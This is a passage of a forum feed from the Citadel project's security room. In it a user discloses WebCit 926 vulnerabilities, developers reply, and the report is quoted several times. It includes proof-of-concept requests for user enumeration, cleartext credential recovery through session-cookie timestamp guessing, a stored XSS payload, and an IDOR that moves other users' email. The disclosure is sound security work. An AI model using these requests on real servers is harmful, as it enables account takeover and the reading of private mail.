<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Invalid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=notregistereduser HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Invalid Response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">570 notregistereduser not found.</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The same behavior was also observed via:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">/do_template?template=user_show?who=admin</p>
<p class="MsoNormal">/do_template?template=who || /summary</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> You're probably aware of this, but I just wanted to include it in the list.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Weak Session Management-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">As highlighted in auth.c source code, the cookie structure is as follow:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">cookie_to_stuff(Line, &amp;hdr-&gt;HR.desired_session,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_username,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_password,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_roomname,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_language</p>
<p class="MsoNormal"><span style="mso-tab-count: 1;">               </span>);</p>
</blockquote>
<p> </p>
<p class="MsoNormal">The pipe (|) character is used to separate those elements.</p>
<p> </p>
<p class="MsoNormal">An attacker could enumerate valid timestamps (HD.desired_session) via the following:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">&lt;timestamp&gt;|||||</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">[...]</p>
<p class="MsoNormal">Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/</p>
<p class="MsoNormal">[...]</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once decoded (hex-&gt;ascii) will result in the disclosure of the username and cleartext password:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">1600782178|NewUser|MySecretPassword|Lobby|en_US|</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Unauthenticated Stored XSS-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">The Instant Message functionality (/display_page?recp=&lt;useraneme&gt;) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /page_user HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 148<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded</span></p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;validnonce&gt;&amp;template=who&amp;recp=admin&amp;msgtext<span style="background: yellow; mso-highlight: yellow;">=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A</span>&amp;send_button=Send+message</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Additional (reflected) XSS were identified in:</p>
<p> </p>
<ul>
<li>GET /wiki_history (page parameter)</li>
<li>POST /entroom (er_name parameter)</li>
<li>POST /upload_attachment (Content-Type of qqfile parameter)</li>
<li>GET /ajax_login_username_password (name parameter)</li>
</ul>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Insecure Direct Object Reference-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=&lt;msgID&gt;).</p>
<p> </p>
<p class="MsoNormal">This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /move_msg HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 63<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded<br /></span><span style="color: black;">Cookie: webcit=&lt;NewUser2 session ID&gt;<br /></span><span style="color: black;">Connection: close</span> </p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;valid nonce from msg_confirm_move&gt;&amp;msgid=<span style="background: yellow; mso-highlight: yellow;">2748</span>&amp;target_room=Drafts&amp;move_button=Move</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJkAAAAgCAYAAAABmdoHAAAgAElEQVR4Ae2bd3DVV5bn/f9OTfdM9czs2m23u929tfGP3X9mq6a2g91tgwmKTy9nvaSnjIRIEsoRRBRJCSWCTA4iC4QkQGSwBBhEDkKAAkI5fbbu/b0HMjPucU97u2am/ap+de+78Zxzv79zzz3n/t4ZGRnl++d7Gfz/wMDgwAB9L3t559HjTr7T58kzHn3//HnL4HEnDx910tXVTf+rl7yTvWQl2QUrlMefF+nU/LeozxJtlqwkZ+kqpe+SlfjLRDo1L8f+N17/Nk9v8/d2/b8HngUPU/mcmvfz51//5Ix8zrScY2x0hHc+mRHCJzOCfY+S/1j+n5pX6pVykQ9hal72nxnKr6bN5i/+8q/4ix98//y5yuA//OUP+eWns/j7X09jx669wCTvzA4z8l08gRozv5sVwo/+5u8I0pgI1pplKvLfP//+ZSDWWzxi/X87I4hPZoayZ18dTE4oIAtQmxCPAJs/nZr/NvWBGgufzgrl3R+/j97mJMRgJ1hvQ2X2YHbFYHZFEGZUyoKNLvQOURaN6a3H7IxCZw4nWG9HHR4p6/+pdm/38/83u6Lk/KFGDwZnDEarU6HDGoHR/WZOMabWIugMR2OL/idp8Y/5p07Nrki0lnBUtq/T/M/RIXgyhLsINTnRuf60PJmFbN0xvPvjD/jtjGB+O0v1BmR+UL0NpN9X7m/rTwUgg7QCZMH86Ec/JSGzmoMNTRxraKCmtBCNzUGYMZt1W+o51tDI4d1lLIh3EGpyo7G4fI8bndWFyp3Ioo11HGs4TNGCBRgM4YSJNrYI9OFedNY3fbS2CAzh3imPmxBdBHHpNWzbugKP24ajcAvHGk5SsyQHq9aGyuJC9NOYneSWbae+4QhFSyJRWzxorX5aXGisHjnf
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal">This moved the email in NewUser2's Draft folder, allowing access to the email's content.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVwAAAB6CAYAAADzlOuzAAAgAElEQVR4AeydBZhVx7Lv68RPXCGEBEICIUBwdw/uFtw9OIFgwd2CBCe46wzuM4y7bxlZ2/fscSBE7rvvvN/7eu8ZnOQkOTkn92bP99W39izprq6u9e/u6qpagvfPKwGvBLwS8Erg3yIB+bfU4q3EKwGvBLwS8EoAL+B6lcArAa8EvBL4N0lA9Ho9XvLKwKsDXh3w6sAfrwMSFhaGl7wy8OqAVwe8OvDH64BERkbiJa8MvDrg1QGvDvzxOuAFXO+A4x1wvTrg1YF/kw5IeHg4XvLKwKsDXh3w6sAfrwOSpEvCS14ZeHXAqwNeHfjjdUC+/+k2XvLKwKsDXh3w6sAfrwPy3Q+38JJXBl4d8OqAVwf+eB3wAq53wPEOuF4d8OrAv0kHvID7bxK0d/bwx88evDL2yvjPrgNewPUCrnd249UBrw78m3TAC7j/JkH/2UdeL3/e2aFXB/54HXgs4N76/qZ71Lv1/S1ufn+Tm7e95JWBVwe8OuDVgd+jA48EXAW2N77LIysnnYwsOy5FmTYveWXg1QGvDnh14HfowEOAWwC2mTkZmEwJpKVGkZYW4yWvDP5EOhBLWloCaWlJjyFd/vVE0tLU78fdV3Be3afKi8snVf5/Wuej83lQvBXwqY4FvMY/wO+fgef/tMz+/PU/BLg3b98gKzcTzaKRmhaHpsWgabFe8srgT6QDSi+vomkH0LS9aNoeNG03mrYLTduJpm3Nv34s//e3aJqiHfnX1b3quf35dBRNu4SmRaNp8WhaIpqWhKbp/mBSdT3u3VJtVPwcyW/nITRNkU8+rwH576YqI+EefvX5PKs2qPM/V8fj6vaef3y//D7Z3Ae4BbNbZ4aD+MQ4jMYoTKbfV8Efxbi33L9
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Website issue-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">This is publicly available and contains personal photos (as well of minors)</p>
<p> </p>
<p class="MsoNormal"><a href="https://photos.citadel.org/" target="webcit01">https://photos.citadel.org/</a></p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.</p>
<p> </p>
<p class="MsoNormal"><span style="font-size: 10.5pt; line-height: 110%; font-family: 'Segoe UI',sans-serif; color: black; mso-color-alt: windowtext; background: white;"><a href="https://www.citadel.org/.git/" target="webcit01">https://www.citadel.org/.git/</a></span></p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal"> Any question let me know.<br />I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.</p>
<p class="MsoNormal"><br />Thanks</p>
<p> </p>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4616762</link><pubDate>Sun, 29 Nov 2020 23:21:34 -0000</pubDate><title>Re: Multiple Security Vulnerabilities in WebCit 926</title><guid isPermaLink="false">4616762@Uncensored</guid><description><![CDATA[<html><body>

<p> </p>
<p> </p>
<p>Hi folks,</p>
<p> </p>
<p>those issues are now well known and were reported to Mitre as security vulnerabilities. Are there any plans or estimates when they are addressed in a new release? I am currently investigating the impact for existing Debian releases of Citadel. Is there anything that could be done to work around the reported vulnerabilities, at least until a new release has been prepared or have you prepared patches already but haven't pushed a new release yet?</p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Oct 25 2020 11:30:55 EDT</span> <span>from warbaby </span> <span class="message_subject">Subject: Re: Multiple Security Vulnerabilities in WebCit 926</span></div>
<div class="message_content">
<p>Good finds!  We did have some of this, but thank you for your help!   We'll get right to work on it.</p>
<blockquote>
<div class="message_header"><span>Sat Oct 24 2020 11:55:37 AM EDT</span> <span>from simone </span> <span class="message_subject">Subject: Multiple Security Vulnerabilities in WebCit 926</span></div>
<div class="message_content">
<p> </p>
<p class="MsoNormal">Hello people,<br />Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">My local setup is as follow:</p>
<p class="MsoNormal"> </p>
<p> </p>
<ul>
<li>Ubuntu Server 20.04.1</li>
<li><span style="text-indent: -0.25in;">Citadel 929</span></li>
<li><span style="text-indent: -0.25in;">WebCit 926</span></li>
<li><span style="text-indent: -0.25in;">server build 929</span></li>
</ul>
<p class="MsoListParagraphCxSpLast" style="text-indent: -.25in; mso-list: l0 level1 lfo1;"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> <strong><em>-----------Unauthenticated User Enumeration-----------</em></strong></p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Valid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=admin HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Valid response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">540 Wrong password.</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Invalid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=notregistereduser HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Invalid Response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">570 notregistereduser not found.</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The same behavior was also observed via:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">/do_template?template=user_show?who=admin</p>
<p class="MsoNormal">/do_template?template=who || /summary</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> You're probably aware of this, but I just wanted to include it in the list.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Weak Session Management-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">As highlighted in auth.c source code, the cookie structure is as follow:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">cookie_to_stuff(Line, &amp;hdr-&gt;HR.desired_session,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_username,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_password,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_roomname,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_language</p>
<p class="MsoNormal"><span style="mso-tab-count: 1;">               </span>);</p>
</blockquote>
<p> </p>
<p class="MsoNormal">The pipe (|) character is used to separate those elements.</p>
<p> </p>
<p class="MsoNormal">An attacker could enumerate valid timestamps (HD.desired_session) via the following:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">&lt;timestamp&gt;|||||</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">[...]</p>
<p class="MsoNormal">Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/</p>
<p class="MsoNormal">[...]</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once decoded (hex-&gt;ascii) will result in the disclosure of the username and cleartext password:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">1600782178|NewUser|MySecretPassword|Lobby|en_US|</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Unauthenticated Stored XSS-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">The Instant Message functionality (/display_page?recp=&lt;useraneme&gt;) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /page_user HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 148<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded</span></p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;validnonce&gt;&amp;template=who&amp;recp=admin&amp;msgtext<span style="background: yellow; mso-highlight: yellow;">=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A</span>&amp;send_button=Send+message</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Additional (reflected) XSS were identified in:</p>
<p> </p>
<ul>
<li>GET /wiki_history (page parameter)</li>
<li>POST /entroom (er_name parameter)</li>
<li>POST /upload_attachment (Content-Type of qqfile parameter)</li>
<li>GET /ajax_login_username_password (name parameter)</li>
</ul>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Insecure Direct Object Reference-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=&lt;msgID&gt;).</p>
<p> </p>
<p class="MsoNormal">This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /move_msg HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 63<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded<br /></span><span style="color: black;">Cookie: webcit=&lt;NewUser2 session ID&gt;<br /></span><span style="color: black;">Connection: close</span> </p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;valid nonce from msg_confirm_move&gt;&amp;msgid=<span style="background: yellow; mso-highlight: yellow;">2748</span>&amp;target_room=Drafts&amp;move_button=Move</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJkAAAAgCAYAAAABmdoHAAAgAElEQVR4Ae2bd3DVV5bn/f9OTfdM9czs2m23u929tfGP3X9mq6a2g91tgwmKTy9nvaSnjIRIEsoRRBRJCSWCTA4iC4QkQGSwBBhEDkKAAkI5fbbu/b0HMjPucU97u2am/ap+de+78Zxzv79zzz3n/t4ZGRnl++d7Gfz/wMDgwAB9L3t559HjTr7T58kzHn3//HnL4HEnDx910tXVTf+rl7yTvWQl2QUrlMefF+nU/LeozxJtlqwkZ+kqpe+SlfjLRDo1L8f+N17/Nk9v8/d2/b8HngUPU/mcmvfz51//5Ix8zrScY2x0hHc+mRHCJzOCfY+S/1j+n5pX6pVykQ9hal72nxnKr6bN5i/+8q/4ix98//y5yuA//OUP+eWns/j7X09jx669wCTvzA4z8l08gRozv5sVwo/+5u8I0pgI1pplKvLfP//+ZSDWWzxi/X87I4hPZoayZ18dTE4oIAtQmxCPAJs/nZr/NvWBGgufzgrl3R+/j97mJMRgJ1hvQ2X2YHbFYHZFEGZUyoKNLvQOURaN6a3H7IxCZw4nWG9HHR4p6/+pdm/38/83u6Lk/KFGDwZnDEarU6HDGoHR/WZOMabWIugMR2OL/idp8Y/5p07Nrki0lnBUtq/T/M/RIXgyhLsINTnRuf60PJmFbN0xvPvjD/jtjGB+O0v1BmR+UL0NpN9X7m/rTwUgg7QCZMH86Ec/JSGzmoMNTRxraKCmtBCNzUGYMZt1W+o51tDI4d1lLIh3EGpyo7G4fI8bndWFyp3Ioo11HGs4TNGCBRgM4YSJNrYI9OFedNY3fbS2CAzh3imPmxBdBHHpNWzbugKP24ajcAvHGk5SsyQHq9aGyuJC9NOYneSWbae+4QhFSyJRWzxorX5aXGisHjnf
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal">This moved the email in NewUser2's Draft folder, allowing access to the email's content.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVwAAAB6CAYAAADzlOuzAAAgAElEQVR4AeydBZhVx7Lv68RPXCGEBEICIUBwdw/uFtw9OIFgwd2CBCe46wzuM4y7bxlZ2/fscSBE7rvvvN/7eu8ZnOQkOTkn92bP99W39izprq6u9e/u6qpagvfPKwGvBLwS8Erg3yIB+bfU4q3EKwGvBLwS8EoAL+B6lcArAa8EvBL4N0lA9Ho9XvLKwKsDXh3w6sAfrwMSFhaGl7wy8OqAVwe8OvDH64BERkbiJa8MvDrg1QGvDvzxOuAFXO+A4x1wvTrg1YF/kw5IeHg4XvLKwKsDXh3w6sAfrwOSpEvCS14ZeHXAqwNeHfjjdUC+/+k2XvLKwKsDXh3w6sAfrwPy3Q+38JJXBl4d8OqAVwf+eB3wAq53wPEOuF4d8OrAv0kHvID7bxK0d/bwx88evDL2yvjPrgNewPUCrnd249UBrw78m3TAC7j/JkH/2UdeL3/e2aFXB/54HXgs4N76/qZ71Lv1/S1ufn+Tm7e95JWBVwe8OuDVgd+jA48EXAW2N77LIysnnYwsOy5FmTYveWXg1QGvDnh14HfowEOAWwC2mTkZmEwJpKVGkZYW4yWvDP5EOhBLWloCaWlJjyFd/vVE0tLU78fdV3Be3afKi8snVf5/Wuej83lQvBXwqY4FvMY/wO+fgef/tMz+/PU/BLg3b98gKzcTzaKRmhaHpsWgabFe8srgT6QDSi+vomkH0LS9aNoeNG03mrYLTduJpm3Nv34s//e3aJqiHfnX1b3quf35dBRNu4SmRaNp8WhaIpqWhKbp/mBSdT3u3VJtVPwcyW/nITRNkU8+rwH576YqI+EefvX5PKs2qPM/V8fj6vaef3y//D7Z3Ae4BbNbZ4aD+MQ4jMYoTKbfV8Efxbi33L9
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Website issue-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">This is publicly available and contains personal photos (as well of minors)</p>
<p> </p>
<p class="MsoNormal"><a href="https://photos.citadel.org/" target="webcit01">https://photos.citadel.org/</a></p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.</p>
<p> </p>
<p class="MsoNormal"><span style="font-size: 10.5pt; line-height: 110%; font-family: 'Segoe UI',sans-serif; color: black; mso-color-alt: windowtext; background: white;"><a href="https://www.citadel.org/.git/" target="webcit01">https://www.citadel.org/.git/</a></span></p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal"> Any question let me know.<br />I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.</p>
<p class="MsoNormal"><br />Thanks</p>
<p> </p>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4593014</link><pubDate>Sun, 25 Oct 2020 15:30:55 -0000</pubDate><title>Re: Multiple Security Vulnerabilities in WebCit 926</title><guid isPermaLink="false">4593014@Uncensored</guid><description><![CDATA[<html><body>

<p>Good finds!  We did have some of this, but thank you for your help!   We'll get right to work on it. </p>
<blockquote>
<div class="message_header"><span>Sat Oct 24 2020 11:55:37 AM EDT</span> <span>from simone </span> <span class="message_subject">Subject: Multiple Security Vulnerabilities in WebCit 926</span></div>
<div class="message_content">
<p> </p>
<p class="MsoNormal">Hello people,<br />Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">My local setup is as follow:</p>
<p class="MsoNormal"> </p>
<p> </p>
<ul>
<li>Ubuntu Server 20.04.1</li>
<li><span style="text-indent: -0.25in;">Citadel 929</span></li>
<li><span style="text-indent: -0.25in;">WebCit 926</span></li>
<li><span style="text-indent: -0.25in;">server build 929</span></li>
</ul>
<p class="MsoListParagraphCxSpLast" style="text-indent: -.25in; mso-list: l0 level1 lfo1;"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> <strong><em>-----------Unauthenticated User Enumeration-----------</em></strong></p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Valid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=admin HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Valid response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">540 Wrong password.</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Invalid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=notregistereduser HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Invalid Response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">570 notregistereduser not found.</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The same behavior was also observed via:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">/do_template?template=user_show?who=admin</p>
<p class="MsoNormal">/do_template?template=who || /summary</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> You're probably aware of this, but I just wanted to include it in the list.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Weak Session Management-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">As highlighted in auth.c source code, the cookie structure is as follow:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">cookie_to_stuff(Line, &amp;hdr-&gt;HR.desired_session,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_username,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_password,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_roomname,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_language</p>
<p class="MsoNormal"><span style="mso-tab-count: 1;">               </span>);</p>
</blockquote>
<p> </p>
<p class="MsoNormal">The pipe (|) character is used to separate those elements.</p>
<p> </p>
<p class="MsoNormal">An attacker could enumerate valid timestamps (HD.desired_session) via the following:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">&lt;timestamp&gt;|||||</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">[...]</p>
<p class="MsoNormal">Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/</p>
<p class="MsoNormal">[...]</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once decoded (hex-&gt;ascii) will result in the disclosure of the username and cleartext password:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">1600782178|NewUser|MySecretPassword|Lobby|en_US|</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Unauthenticated Stored XSS-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">The Instant Message functionality (/display_page?recp=&lt;useraneme&gt;) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /page_user HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 148<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded</span></p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;validnonce&gt;&amp;template=who&amp;recp=admin&amp;msgtext<span style="background: yellow; mso-highlight: yellow;">=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A</span>&amp;send_button=Send+message</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Additional (reflected) XSS were identified in:</p>
<p> </p>
<ul>
